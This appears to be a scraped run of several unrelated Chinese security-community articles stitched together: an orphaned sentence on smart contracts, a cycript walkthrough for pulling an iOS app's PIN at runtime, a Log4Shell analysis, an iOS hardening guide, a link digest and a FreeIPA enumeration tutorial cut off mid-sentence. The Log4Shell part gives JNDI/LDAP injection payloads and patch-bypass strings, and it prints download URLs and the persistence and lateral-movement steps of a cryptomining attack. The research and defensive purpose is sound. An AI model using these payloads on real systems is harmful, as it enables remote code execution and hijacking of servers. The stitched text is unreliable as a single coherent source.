智能合约主要依托于公链(例如：以太坊)来发行代币并提供代币的转账、销毁、增发等其它逻辑功能，但用户的代币理应由用户自我进行控制(通过交易增加或减少)，并由用户自我决定是否销毁持币数量，而不是由合约的owner或其他特殊的地址账户进行操控。
* * * | 社区文章 |
# 使用 cycript 绕过应用程序的 PIN 保护
|
##### 译文声明
本文是翻译文章，文章原作者 Allyson O’Malley，文章来源：allysonomalley.com
原文地址：<https://www.allysonomalley.com/2018/06/26/bypassing-apps-pin-protection-with-cycript/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
> 注：正在分析的应用程序不是我自己的，因此我省略了任何识别信息。这只是对搜索类似漏洞的步骤的演示。
本文将演示如何在运行时使用Cycript从应用程序中提取信息，从而使攻击者能够访问应用程序的PIN。这个漏洞是通过运行iOS 10.2的越狱iPhone
5s发现的。请注意，早期/较晚版本的IOS可能与本文使用的工具不兼容。
## 一、 Clutch
我们将使用“Clutch2”(一个公共iOS解密工具)来解密和解压缩应用程序的.ipa文件，接着我们将需要转储和检查应用程序类的Objective-C头文件。
Clutch可在这里下载: <https://github.com/KJCracks/Clutch>
按照安装说明在设备上安装Clutch。
如果运行Clutch2并看到“Permission Denied/拒绝权限”错误，则可能需要首先运行以下命令：
$ chmod a+x /usr/bin/Clutch2
然后可以运行：
$ Clutch2 -i
你会看到你安装的应用程序的列表。选择要使用的应用程序并复制它的bundleID值。
然后运行：
$ Clutch2 –b <BundleID>
应该会看到一条消息，告诉你已将破解的二进制文件与保存位置的路径一起转储。
接下来，需要将二进制文件传输到Mac上进行分析。可以通过很多方法做到这一点，但我更喜欢使用CyberDuck。你可以使用任何合适的文件传输软件，或者可以只使用ssh到你的手机和scp的.ipa到你的计算机。
一旦你的笔记本电脑上有了.ipa，就可以简单地解压文件访问它的内容。(在执行此操作之前，可能必须手动将文件类型更改为.zip)。
## 二、class-dump
下一步是使用类转储工具转储应用程序的运行时头文件。通过运行以下命令，可以使用BREW在计算机上安装此程序：
$ brew install class-dump
首先，找到应用程序的可执行文件。可以在复制到计算机的.ipa文件夹中找到它，位于路径/Payload/<AppName>.app/AppName。
运行：
$ class-dump /Payload/<AppName>.app/AppName > dumpedHeaders
其中，“dumpedHeaders”是要创建的文件，将在其中写入转储。
现在，应该能够在任何文本编辑器如Sublime中看到dumpedHeaders。对于这个应用程序，我们打开文件并搜索。我首先搜索“授权/authorize”、“登录/login”或“PIN”等词语。我很快就找到了我要找的东西：
[](https://p0.ssl.qhimg.com/t0160517438a13f6956.png)
我可以看到，在DTPinLockController类中，有属性NSString *pin。现在我已经找到了一个目标，可以进行下一步了。
## 三、cycript
首先，在你的计算机上下载最新版本的Cycript：<http://www.cycript.org/>
然后，通过传输文件在设备上放置Cycript(通过CyberDuck、sftp、scp或任何你喜欢的方式)。
最后，运行一下命令：
$ dpkg -i cycript.deb
现在，你可以尝试运行Cycript并确认出现了#Cy提示符。(确保在下一步之前退出Cycript)。
现在，我们已经准备好连接到我们的目标应用程序的过程。要查找应用程序的进程ID，请确保应用程序正在你的手机上运行：
$ ps aux
复制目标应用程序的PID，然后运行：
$ cycript -p <PID>
现在已经hook到这个进程，并且可以在运行时开始探索这个应用程序。
由于这个应用程序需要一个PIN，此时在我的手机上打开应用程序，并输入PIN。
[](https://p3.ssl.qhimg.com/t016aa1195b485d6af3.png)
为了确认我看到的ViewController的名称，我在Cycript中运行：
cy# UIApp.keyWindow.rootViewController
然后：
DTPinLockController
现在，回顾一下我的类转储，我可以看到这确实是我在前面找到的“pin”NSString属性所在的屏幕，因此我应该能够在运行时访问它的值。要查看PIN是否存储得不安全，运行：
cy# UIApp.keyWindow.rootViewController.pin
神奇的是，用户的PIN就会被显示出来：
[](https://p0.ssl.qhimg.com/t0144bd7a22ed806b6a.png)
现在，我们在运行时成功地窃取了用户的PIN。我可以通过简单地在应用程序上输入PIN来确认这一点，并且我被授予了访问权限。
审核人：yiwang 编辑：边边 | 社区文章 |
# Log4shell漏洞研究及其挖矿案例分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Apache
Log4j是Apache的一个开源项目，是一个基于Java的日志记录工具，因其卓越的性能，使用极其广泛。近日该组件编号为CVE-2021-44228的漏洞Log4shell被披露，大量常用框架已经被发现存在该漏洞，本漏洞触发条件极其简单，且无需特殊配置，风险极大。
## 漏洞描述：
攻击者可直接构造恶意请求，触发远程代码执行漏洞。
## 影响范围如下：
Apache Log4j 2.x<=2.14.1
已知受影响的组件和供应商有：
Apache Solr
---
Apache Druid
Apache Struts2
Apache Flink
Apache Dubbo
Apple
腾讯
Steam
Twitter
百度
滴滴
京东
NetEase
Google
LinkedIn
VMWarevCenter
VMWare
CloudFlare
## 漏洞分析：
该漏洞归根结底是一个非常简单的 JNDI
注入缺陷，其原理在于log4j在执行lookup()时，允许开发者通过一些协议去读取本地环境变量中的配置，但是在实现中未对输入进行严格判断。
在默认情况下，特定jdk版本的JNDI支持两种特殊的协议：RMI和LDAP。在这两种情况下，lookup() 调用后会返回一个Java
对象。但是攻击者可以通过Factory间接构造一个JNDI 引用。可以从远程URL的代码库加载恶意class。
## 过程分析：
org.apache.logging.log4j.core.pattern.MessagePatternConverter的#format函数
将输入内容作为字符串处理，然后对于其中出现的“${“，进行替换操作。
替换是一个字符串查找的过程，方法如下：将{xxx:yyy}的结构由 ‘:’
字符进行分割，解析为prefix和name两部分。通过prefix去strLookupMap哈希表查询对应的lookup方法，再通过实例调用lookup()方法，将name作为参数带入执行。
主要目的是在日志记录中发现 ${ ，并将表达式里的内容，替换为表达式解析后的内容，导致攻击者可以任意执行命令。
以下为存在漏洞版本strLookupMap哈希表的内容，其中包含了jndi样危险的协议。
最后跟入的触发点JndiManager.lookup如下：
以最常见的ldap类型的攻击payload为例，
${jndi:ldap://xxx.xxx.xxx.xxx/exp}
最终利用过程如下图所示，通过jndi注入，使得lookup远程调用ldap服务，再利用ldap响应将请求重定向到准备好的攻击服务器上，使目标服务器下载恶意的class代码并将其执行。
补丁分析及绕过：
修复版本2.15.0-rc1 ：
补丁分析
经过diff和调试之后，主要发现两点修复：
l **第一点修复是 PatternLayout.class的#StringBuilder toSerializable方法，**
**这里将
formnatters方法里包含的第8个formatter对象（原本是触发漏洞的MessagePatternConverter），修复为MessagePatternConverter.SimplePatternConverter
类**
2.14.1版本：
2.15.0-rc1版本：
分析一下，不难看出，这个类不再判断${}这种情况 ，而是直接拼接字符串。
但是这个补丁在特定情况下仍然保留了进行${}处理的方法，前提是converte被设置为LookupMessagePatternConverter。
然而rc1的补丁默认设置nolookups，想要尝试绕过，只能是在用户手动将lookup开启的情景下才能进行。因而这一绕过在现实情况下，几乎不会构成威胁。
但是为了进行后续分析，我们手动开启lookup进行后续分析。
l **第二点修复，添加白名单**
递归处理等过程均没有变化，最后JndiManager.lookup触发漏洞时，添加了协议白名单
默认的协议只支持：ldap、ldaps、java
默认的Host白名单是localhost
实际上对我们的payload进行拦截的是这个OBJECT_FACTORY判断，因为我们RCE加载远程对象时，无论如何也避免不了使用Factory属性。
然而JndiManager这里的处理存在一定漏洞给了我们Fuzz的空间：
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
···
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
如果在这里触发了URI异常会直接触发lookup(name)
所以我们可以尝试构造payload使其在new URI(name)时候报错，但是在name传入context.lookup(name)的时候正常执行。
## 补丁绕过
**知道绕过思路后，此处有两种基于此思路的绕过方法：**
1. 参考4ra1n师傅的思路，通过URI中加入空格触发报错：
经过测试，发现URI(name)中不进行URL编码是会报错，所以可以直接在payload中加一个空格触发报错，直接进入lookup(name)。然而lookup时候又会自动去掉这个空格。
payload： **${jndi:ldap://127.0.0.1:1389/ Exploit}**
成功RCE（需要用户手动开启lookup功能的基础上才可以，鉴于生产环境，绝大多数情况下，这个fuzz只存在于理论上。）
2. 根据官方测试用例里，在URI后面加上脏数据:
**“?Type=A Type &Name=1100110&Char=!”**
同样可以触发异常绕过防护。
修复版本2.15.0-rc2 ：
2.15.0-rc2的修复方法是在触发URI异常后直接return null，避免了上文的fuzz行为。
基于甲方视角的修复建议分析
本段的思路主要来自于忍者师傅的文章，探讨一下目前各大厂商流行的临时修复方案及其潜在问题：
[https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA](https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA)
漏洞刚刚被披露出来时，几乎所有的厂商预警文章都是互相copy的，里面存在各种没有详细说明，甚至无效的修复方案，比如：
1. 这些措施几乎完全是从安全调试的视角来看待问题，nolookups设置成true确实可以避免漏洞，但是禁用了所有的lookup是否会影响业务日志正常的打印输出，遇到了问题，调试找不到需要的日志有如何解决？
2. 经过多次验证，给出的修复方案里设置系统环境变量这一条，并不能生效。
3. 升级jdk版本只能防止一些里有LDAP和RMI产生的RCE，并不能防止敏感信息的带外攻击。
## jdk版本升级
多数情况下，jdk版本升级之后攻击者最多也就只能触发一个dnslog，做不了进一步的命令执行操作。但是这并不是万无一失的，因为还存在通过dnslog带外各种敏感信息的风险。攻击者可以利用这些信息为后续的攻击做铺垫，可以参考浅蓝大佬的文章：[https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg](https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg)
里面介绍了在不出网的情况下通过 **SystemProperties** 和 **Environment**
这两个lookup的参数获取一些环境变量和系统属性，并借助dnslog传递出去。
（PS：这个dnslog.cn崩了的替代品是[https://app.interactsh.com/#/](https://app.interactsh.com/#/)）
后续该公司在通告里对修复方案进行了详细的调整：
对此笔者的建议如下：
相对最谨慎稳妥的解决方案是 **关闭
log4j2的jndi调用后，再重新开启lookup避免影响业务功能。**因为正常情况下应该不存在真的有开发者利用到了lookup里的jndi的情况。
## 利用log4j漏洞的挖矿攻击案例
前日，我们捕获到了一个利用log4j漏洞植入挖矿病毒的攻击行为，并对其进行了简单的分析。
其命令执行的payload位于URI中，作为路径的一部分：
\$%7Bjndi:ldap://xx.xx.xx.xx:1389/Exploit%7D
攻击者在加载恶意class文件后，执行命令：下载并以shell格式执行了log文件，查看之后该log文件内容如下：
在这里，恶意软件下载并执行各种可执行文件，然后是几个脚本。
下载完需要执行的ldm.sh文件之后，发现了连接矿池执行挖矿命令的代码：
这个矿工将自己的连接地址托管在了Tor网络的站点中，可以通过代理访问：
ldm脚本将攻击者ssh公私密钥添加到ssh列表里，实现持久化控制。
该脚本还会设置crontab任务，以定期从socks5h://\$s:9050 $RHOST.onion/src/ldm等站点更新自己的内容。
恶意脚本还会遍历系统后台其他正在执行的进程，从中筛选出挖矿脚本，并将其kill掉（黑吃黑）。
除了利用本机执行挖矿代码，恶意脚本还能够通过提取本机的SSH 密钥，并从 bash 历史记录和 SSH
配置以及已知主机中构建一个，包含所有相关主机的列表来进行横向移动。
如果这些主机被成功连接，就会在这些主机上下载以下脚本：
http://34.221.40.237/[.]x/3sh
http://34.221.40.237/[.]x/1sh
其内容与之前的log脚本大体相似，从而实现横向移动。
从脚本关联执行横向移动时，加载脚本的IP可以将这一挖矿攻击，与Muhstik僵尸网络活动关联起来。
## 结语：
新披露的Apache
Log4j漏洞是一个利用方式简单而又丰富多样、影响范围又极其广泛的漏洞，厂商们紧急加固的同时，又有许多攻击者正在非常迅速地测试新漏洞的各种利用方式，如何快速地响应和合理地处置攻击行为，对甲方和乙方厂商都是严峻的考验，乙方在提供处置方案时要尽可能的保证严谨，对客户负责，甲方在加班加点修补漏洞的同时，也要充分保障业务的正常运转不受影响。
## 参考链接：
[https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA](https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA)
[https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg](https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg)
[https://xz.aliyun.com/t/10649](https://xz.aliyun.com/t/10649)
更多技术文章，微信公众号搜索“云影实验室”。
顺便插下招聘广告，安全研究员1名和安全开发工程师1名，有意者可以私信公众号。 | 社区文章 |
# iOS ZipperDown 漏洞来袭，我们该如何应对？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360 信息安全部-涅槃团队
昨天傍晚盘古实验室负责任的披露了针对 iOS 应用的
[ZipperDown](https://mp.weixin.qq.com/s/SMpBQ4mZQLVLfgK7f84OYA)
漏洞，并提供了检索、查询受影响应用的平台：
[zipperdown.org](https://zipperdown.org/)。基于目前公开的信息，该漏洞的影响面比较大，15000
多个应用可能受此漏洞影响。 并且，结合应用中的其它安全缺陷，可以在某些应用上获得远程任意代码执行能力，即：远程控制目标应用，危害也较大。由于目前官方没有公开
ZipperDown 的详细信息，所以这里会跟大家分享、探讨一下针对 iOS 应用的防守策略以及针对具体功能点的防守方法。
## 出发点与基本策略
我们谈的主要是防守，谈防守就要基于一定的信任基础，如果什么都不可信，那也就没法做防守了。再具体一点，我们现在谈的是 iOS App 的防守，我们信任的基础是
iOS，即：iOS 系统及服务是可信的，他们的安全性是完整的，没有被破坏的。
对于 iOS 应用而言，操作系统提供的最基本、最重要的安全特性是：代码签名、沙盒。代码签名是指：iOS
上只能运行由苹果签名的代码。沙盒是一种限制程序行为的安全特性，其中包括对程序可以访问的文件的限制，如：App1 无法访问 App2 存储的数据文件。
除了代码签名与沙盒，iOS
上还有其它的一些安全特性或者安全功能，比如：Keychain、用户数据加密等。我们做防守时一定要充分利用现有的安全功能与安全特性，换句话说就是：充分利用苹果提供的资源，这样可以大大降低我们的防守成本，这就是第一条防守策略：尽量基于现有的防御阵地来搭建我们自己的防线。
防守的第二条策略是：要搭建防线。搭建防线，换句话说就是：没有银弹，没有什么单一的防御点可以从整体上保证我们的 App 的安全。以本地存储为例，从 iOS
8.4 之后，没法导出单个应用的存储在设备上的文件，那我们还用不用对 App
存储到本地的数据进行加密？对于我们公司的产品，我们是要求加密的，原因是：如果不加密，我们就依赖于 Bundle 不可导出这个安全特性，但是 Bundle
真的不可导出吗？！有没有办法绕过？实际上是有办法绕过的，我们还可以通过备份手机进而获得应用的数据。所以，如果做了本地数据加密，可以将这个理解为增加了一条防线，那应用就可以抵御后一种攻击方式。
防守的第三条策略是：要持续的、牢牢的抓住主要“矛盾”。对于 iOS 应用而言，我们认为主要矛盾是：远程代码执行。远程代码执行的前提是攻击者可以远程的将攻击
Payload 投放到 iOS 应用中。对于投递恶意 Payload，首先想到的方式是中间人攻击（MitM）。为了避免 MitM，我们要求 App
与服务器的通信使用 HTTPS，并且需要正确的校验证书，这问题我们一直在抓，因为控制住了 HTTPS 就可以大大的降低程序的远程攻击面。在 HTTPS
之后，我们会重点关注用户可以产生内容的 App，这样又可以将攻击面降低。
防守的第四条策略是：尽量避免因为业务功能而将安全降维。这里的典型例子就是脚本能力（或者说热补能力），前面我们提过 iOS
平台的一个重要安全特性就是代码签名，由于代码签名特性、地址随机化特性、iOS App 通信特点（由 App 通过 HTTP 的方式请求 Server
上的数据），远程的在 iOS App
上获得稳定的任意代码执行是非常困难的。而脚本能力恰恰破坏了系统中基本的、重要的代码签名安全特性，可以帮助攻击者获得稳定的远程代码执行能力，从而将 App
的防御能力降维。
前面有点零散的谈了我们对 iOS App 防守的理解以及防守的一些基本策略，下面我们以具体功能点为维度谈谈如何做防守。
## 具体功能点的防守方法
### 数据库文件安全
**安全场景描述**
移动应用程序中通常会使用 SQLite 数据库来存储应用数据，而数据库本身一般存储在沙盒文件中。尽管在 iOS 8.4
之后，已经无法访问沙盒里面的用户数据，但是在 8.4 以前的设备或者是越狱设备上，数据库文件可以轻易地通过助手类工具导出。
如果数据库里面存储的数据没有进行复杂的加密处理，会是应用程序有敏感信息泄漏的风险，同时也有助于攻击者进行逆向分析。
**安全加固实施建议**
使用较复杂的加密加盐算法对敏感数据加密后存储。
### NSUserDefaults 安全
**安全场景描叙**
保存用户信息和属性的一个非常普通方法就是使用 NSUserDefaults。保存在 NSUserDefaults 中的信息在应用关闭后再次打开依然存在。加之
NSUserDefaults 的使用接口非常方便，导致开发人员有可能不加以区别的把数据存放到 NSUserDefautls 中。
事实上保存到 NSUserDefautls 中的数据是没有加密的，可以很轻易地从沙盒中找到。NSUserDefautls 被存储在一个以应用 Bundle
ID 为名称的 Plist 文件中。
**安全加固实施建议**
重要的敏感数据存储在 Keychain 中。
### Keychain 安全
**安全场景描叙**
iOS 设备中的 Keychain 是一个安全的存储容器，可以用来为不同的应用保存敏感信息比如用户名、密码、网络密码、认证令牌。苹果用 Keychain
来保存 Wi-Fi 网络密码、VPN 凭证等等。它是一个 SQLite 数据库，位于
/private/var/Keychains/keychain-2.db，其保存的所有数据都是加密过的。Keychain 在沙盒之外 App
会将部分重要数据存放在 Keychain 中使用进行读取，但若写入后未清楚就卸载 App 而下一位用户安全 App
时未清除数据，则可能到导致下次安全的时候直接从 Keychain 中读取密码登陆或手势密码无法解除等问题。
**安全加固实施建议**
首次安装应用程序启动后，进行删除 Keychain 数据操作。
### 后台快照
**安全场景描叙**
iOS 系统在程序退出的时候，会保存程序当前的快照到/Library/Caches/snapshots
中，如果退出的时候页面含有密码等关键信息未进行处理则会导致安全隐患。
**安全加固实施建议**
UIApplication 的委托方法 applicationDidEnterBackground: 可用于响应 App
进入后台并且修改敏感数据显示。例如，在进入后台的时候，把特殊字符用“hidder”属性隐藏。
### Cookie 安全
**安全场景描叙**
Cookie 是 App 或者网站为了辨别用户身份，进行 Session 跟踪而存储在用户本地终端上的数据。如果 Cookie
以明文的形式存储，那是非常危险的。iOS 上的 Cookie 数据会被保存在 /Library/Cookies/Cookies.binarycookies
中。在越狱设备或者iOS 8.4版本之前的设备上，这个数据是可以被导出并且通过工具 Dump 数据出来的。
**安全加固实施建议**
1、Cookie 存放前进行较复杂的加密运算。
2、将一部分 Cookie 加密存放在 Keychain 中，增加逆向难度。
### HTTPS 安全
**安全场景描叙**
在 iOS 应用程序中，使用 HTTPS 进行通信是一种更为安全的做法，也是官方所推荐的做法。但是即使使用了
HTTPS，也有可能因为没有校验服务器证书的原因导致被中间人劫持。如果交互请求数据处理不当，攻击者可以解密得到明文通信数据；甚至进一步伪造 App
的请求，这是极大的安全隐患。
**安全加固实施建议**
1、App 内要对 HTTPS 证书做校验。
2、避免使用有漏洞的第三网网络库(如 AFNetworking < 2.5.3 版本)。
3、关键数据(如登录密码、卡号、交易密码等)单独加密。
### WebView 安全
**安全场景描叙**
在 iOS 应用程序中，WebView
是经常使用到的一个控件，用来加载网页显示在终端上，因跨平台、动态等特性被广泛使用。但是与此同时，很多桌面浏览器前端漏洞在 iOS 终端上仍然存在。
同时因为 iOS 终端上， WebView 可以注册一些敏感信息数据，比如发短信、付款、定位信息等等，也带来了一些新的安全风险。
**安全加固实施建议**
1、对输入进行过滤和编码。
2、服务端对 App 发送的数据进行过滤和编码。
3、尽量减少敏感接口的注册、尽量不要加载第三方内容；如果加载，则必须在 WebView 的 Delegate 方法中，通过白名单机制实现对调用者的检验。
### 加密算法
**安全场景描叙**
在 iOS
应用程序中，经常存在敏感数据需要加密存储的场景。例如登陆密码、通讯录数据等，其加密算法被破解是相当危险的。一旦重要的算法被攻击者逆向，应用的一切数据就相当于毫无保留的展现在攻击者面前。
**安全加固实施建议**
1、对称加密算法要使用 AES、DES 或 3DES，避免使用 RC4 等目前可能被爆破的算法。
2、对于数据安全性要求较高的场景并且条件允许的情况下，使用非对称加密算法如 RSA 等。
3、对称加密算法的 KEY 和 IV，应避免硬编码。若加密数据仅是本地存储，可基于设备相关的信息来生成 KEY 和 IV。
### 开发环境安全
**安全场景描叙**
开发人员可能会从非官方渠道下载开发环境或者开发工具。被修改过的恶意开发工具可能会在打包 IPA 文件时，插入恶意代码。
另外，由于配置不当，打包 IPA 文件时，可能会把源码或者开发文档打包进入 IPA。
**安全加固实施建议**
1、从官方下载开发工具 Xcode。
2、打包 IPA 文件时，管理好 Xcode 的 Build Phases、Copy Bundle Resources。
### 系统日志输出安全
**安全场景描叙**
开发过程中通常会使用 NSLog 来输出日志，用于调试 Bug 和测试功能。因此在打印出来的 Log
中很容易会泄漏程序的关键逻辑和用户敏感数据，降低了逆向破解的难度，增加了敏感信息泄漏的风险。
如果 Release 包里面没有关闭系统日志，通过 Xcode Device 等工具，可以很容易地看到应用程序 Log 的打印。
**安全加固实施建议**
1、使用宏来控制测试版和发布版本的日志输出。
2、安全测试和对外发布时使用 Release 版本，关闭日志输出。
## 团队介绍
360 涅槃团队（Nirvan Team）
隶属于 360 公司信息安全部，主要负责公司所有 iOS App
的安全，同时进行苹果平台相关的安全研究，包括：操作系统层面的漏洞挖掘与利用；在工程中提升攻防效率与生产力的方法与工具。该团队在苹果系统中发现了大量漏洞，多次获得苹果官方致谢。该团队积极参与社区分享，发表大量技术文章，并多次在国内外的安全会议上发表主题演讲，分享相关的研究成果。
联系方式：[[email protected]](mailto:[email protected]) | 社区文章 |
# 【知识】7月28日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：美国黑帽大会上披露Cisco Autonomic Networking漏洞、
维基解密公布CIA开发的针对MacOS和Linux系统的黑客工具、Black Hat USA 2017 议题PPT下载(部分)、CVE-2017-5698
(Intel AMT) exploit、看雪CTF2017学习记录整理系列5 ******
**
**
**资讯类：**
维基解密公布CIA开发的针对MacOS和Linux系统的黑客工具
<http://thehackernews.com/2017/07/linux-macos-hacking-tools.html>
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
美国黑帽大会上披露Cisco Autonomic Networking漏洞
<http://www.securityweek.com/unpatched-cisco-autonomic-networking-flaws-disclosed-black-hat>
WiFi渗透测试电子书
<https://rootsh3ll.com/product/kali-linux-wireless-pentesting-security-ebook/>
Cracking the Lens：针对HTTP的隐藏攻击面
<http://blog.portswigger.net/2017/07/cracking-lens-targeting-https-hidden.html>
Awesome Web Security
<https://github.com/qazbnm456/awesome-web-security>
Black Hat USA 2017 议题PPT下载(部分)
<https://www.blackhat.com/us-17/briefings.html>
CVE-2017-8464：LNK Remote Code Execution Vulnerability，Python exp
<https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py>
Web cache deception Attack
<https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack-wp.pdf>
Morten Schenk在Black Hat 2017披露Windows 10 内核利用
<https://github.com/MortenSchenk/BHUSA2017/blob/master/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf>
跨站点请求伪造（CSRF）你必须要知道的知识点
<https://www.darknet.org.uk/2017/07/all-you-need-to-know-about-cross-site-request-forgery-csrf/>
CLR-Injection
<https://github.com/3gstudent/CLR-Injection>
BlueSpoof：跨平台magstripe欺骗工具
<https://salmg.net/2017/06/13/bluespoof/>
A New Era of SSRF-Exploiting URL Parser in Trending Programming Languages!
<https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf>
攻击用户Docker容器隐藏、权限维持、植入恶意软件
<https://threatpost.com/attack-uses-docker-containers-to-hide-persist-plant-malware/126992/>
CVE-2017-5698 (Intel AMT) exploit
<https://github.com/embedi/amt_auth_bypass_poc>
Supervisor Authenticated远程代码执行漏洞
<https://blogs.securiteam.com/index.php/archives/3348>
阿里云安骑士 webshell规则逆向
[https://mp.weixin.qq.com/s?__biz=MzI4NjYwMTQ1Ng==&mid=2247483697&idx=1&sn=f36f1420fe39f51ca648e1de5b5431b2](https://mp.weixin.qq.com/s?__biz=MzI4NjYwMTQ1Ng==&mid=2247483697&idx=1&sn=f36f1420fe39f51ca648e1de5b5431b2)
腾讯云 webshell检测规则逆向
[https://mp.weixin.qq.com/s?__biz=MzI4NjYwMTQ1Ng==&mid=2247483708&idx=1&sn=e8548a85d75584cc93fd2379f591c634](https://mp.weixin.qq.com/s?__biz=MzI4NjYwMTQ1Ng==&mid=2247483708&idx=1&sn=e8548a85d75584cc93fd2379f591c634)
Docker Security最佳实践电子书
<https://www.sqreen.io/resources/docker-security-best-practices>
Metasploit for Machine Learning: Deep-Pwning
<https://n0where.net/metasploit-for-machine-learning-deep-pwning/>
看雪CTF2017学习记录整理系列5
<https://weiyiling.cn/one/pediy_ctf2017-5> | 社区文章 |
### 0x00 前言
在本系列的第一篇文章，我们介绍了 FreeIPA
的一些背景和基础技术。我们还讨论了几种认证机制，以及凭证的形成，特别是如何识别、解析和重用凭证。如果你没有读过第一篇文章，你可以在这里找到它：<https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a>
在本系列的第二部分，我将深入到一个自定义的实验室环境中，以便展示 FreeIPA
中各种对象和结构是如何工作的，以及它们之间的相互作用，然后我们将学习如何枚举这些数据及结构。
### 0x01 实验环境
在深入讨探之前，让我们花点时间简单回顾一下实验室环境的创建方式及其总体结构。
上图是我为该系列构建的 FreeIPA Lab 环境的总体布局，也是我在研究中使用的环境。
FreeIPA 开发者团队为 FreeIPA 服务器和客户端维护着 docker 镜像，这些 docker 镜像横跨多个流行的操作系统。你可以在
Dockerhub 或 Github 上找到这些 docker 镜像，链接如下。
* <https://hub.docker.com/r/freeipa/freeipa-server/>
* <https://github.com/freeipa/freeipa-container>
所有文档和设置说明可在以下链接的 FreeIPA 主站点上找到：
* <https://www.freeipa.org/page/Docker>
在这个练习中，我们的初始权限是受 FreeIPA 管理的一台 Web 服务器的 WebShell 权限。我们的目标是获取该 FreeIPA
域的管理权限，并从 SQL 数据库中删除敏感数据。在开始操作之前，我们先来了解一下 FreeIPA 环境内部的一些基本对象和枚举技术。
### 0x02 主机、用户和组
与 Windows Active Directory 一样，FreeIPA 允许管理员创建主机和用户。这些主机和用户可以分类到分别称为 “Host
Groups” 和 “User Groups” 的容器中。这些组的功能与 AD 的组织单位（OU）非常相像。
基于主机的访问控制规则（HBAC规则）、特权、角色和 Sudo 规则可应用与上述任何对象。如果你不熟悉 HBAC 规则、特权、角色和 Sudo
规则，也不需要过多担心，因为在后续中会陆续探讨这些内容。
### 0x03 信息枚举
有多种方法可以从 IPA 服务器枚举有关域的信息。我将在本文中介绍以下两种方法：
* 针对 LDAP 服务器使用轻型目录访问协议（LDAP）查询。
* 利用内置的 IPA 管理工具。
#### 3.1、通过 LDAP 进行枚举
在 FreeIPA 中，默认情况下，LDAP
服务器允许匿名绑定，而且有大量数据未经身份验证都是可枚举的。但是，并非所有的数据都是未经身份验证的可枚举数据。负责映射安全授权控制的数据已经被 ACL
明确保护。下面的命令将检索所有可用的非认证数据：
ldapsearch -x
对于本文的剩余部分，所有 `ldapsearch` 命令都将进行身份验证。在本系列的第一篇文章中，我们介绍了如何在 FreeIPA 环境中识别和利用凭证。
当有了有效的凭证后，我们可以设置一些过滤器，以便更好的查询。比如设置 DN，以下是查询当前实验室环境中的所有用户：
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=westeros,dc=local"
我们可以将该语句稍微进行修改，检索当前环境中所有的主机信息：
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=westeros,dc=local"
同样，我们可以修改语句，以完成更多的查询，以下分别是检索主机组和用户组的语句：
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=westeros,dc=local"
-------------------------------------------------------------------- ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=westeros,dc=local"
#### 3.2、通过 IPA 管理工具进行枚举
默认情况下，加入到 FreeIPA 域中的机器，会在加入的过程中安装 IPA 管理工具。此工具对于枚举和配置环境非常有用。
但是，如果没有有效凭证，则无法使用 IPA 工具。如果发现自己缺少有效的域凭证，域内每台机器都会部署一个 Keytab 凭证。这个 Keytab
可以用来获取机器本身的有效的凭证缓存（CCACHE） TGT。
当有了有效的凭证并访问 ipa 工具，可以使用以下命令来枚举相关信息：
ipa user-find
ipa usergroup-find
ipa host-find
ipa host-group-find
------------------- ipa user-show <username> --all
ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all
### 0x04 HBAC 规则
在官方文档中，HBAC 规则定义如下：
访问控制在高层次上定义了谁可以访问什么。谁可以是用户或主机(源主机)，以及什么可以是主机(目标主机)、服务或服务组，或三者的组合。
HBAC 规则应用于委派对特定资源的访问。如果配置正确，此访问控制在缓解横向移动方面可能非常有效。作为攻击者，我们可以使用 HBAC
规则来识别哪些账户被授权访问环境内的特定资源。
让我们回顾一下如何枚举这些策略。
#### 4.1、通过 LDAP 枚举
使用以下命令可枚举实验室环境中的所有 HBAC 规则：
ldapsearch -Y gssapi -b "cn=hbac,dc=westeros,dc=local"
#### 4.2、通过 IPA 枚举
使用以下命令可枚举实验室环境中的所有 HBAC 规则：
ipa hbacrule-find
----------------- ipa hbacrule-show <hbacrule> --all
### 0x05 Sudo 规则
在官方文档中，Sudo 规则定义如下：
Sudo规则在某种意义上类似于访问控制规则：它们定义了被授予访问权限的用户，定义了规则范围内的命令，然后定义了规则适用的目标主机。在 FreeIPA中，可以在规则中配置额外的信息，如 sudoers选项和 run-as设置，但基本元素总是定义了谁、什么（服务）和位置（主机）。
FreeIPA 提供了通过 sudo-rules 从一个集中源管理 sudo 权限的能力。这些规则集可以用来限制或授权在域中注册的主机上执行 sudo
